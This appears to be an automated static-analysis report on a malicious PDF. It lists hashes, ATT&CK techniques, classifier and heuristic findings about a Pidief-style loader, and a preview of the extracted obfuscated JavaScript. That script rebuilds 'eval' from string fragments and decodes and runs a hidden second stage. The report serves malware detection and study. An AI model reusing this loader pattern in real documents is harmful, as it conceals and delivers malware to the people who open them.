Malicious PDF — malware analysis report

Static analysis result for SHA-256 7172dcbbd6d33a26…

MALICIOUS

PDF

45.2 KB First seen: 2012-10-18
MD5: 00a9971853e0b6f8ee6a4c8fdedb4348 SHA-1: 440177c3a256cd06709e1e8e15f61736beb27b74 SHA-256: 7172dcbbd6d33a266948460445893973c6543f2294d6c1f489f789501e241b3f
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by heuristics as a loader. This script reconstructs and executes a second-stage payload, likely a downloader, based on its string manipulation and execution patterns. The ML classifier strongly indicates maliciousness, and the presence of embedded JavaScript points to a common technique for delivering malware via email attachments.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB243 441 bytes
SHA-256: 5cb5d50e49f32f1a7490e829a620f22f1e34c9f9dee1c1c8225e8bfc26cf0e26
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
ihjie='';
nse=('qwrwqr','tit');
e('twk=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
pisne=e('String.fr'+twk.substr(0,10));
big = e(twk.substr(10)['replace'](/u/g,','));
e('k=big.length');
for (i = 0; i < k; i+=2) {
	gpo = big[i+1] + ('erybjkerl',big[i]);
	ihjie += pisne(gpo);
}
e(ihjie);

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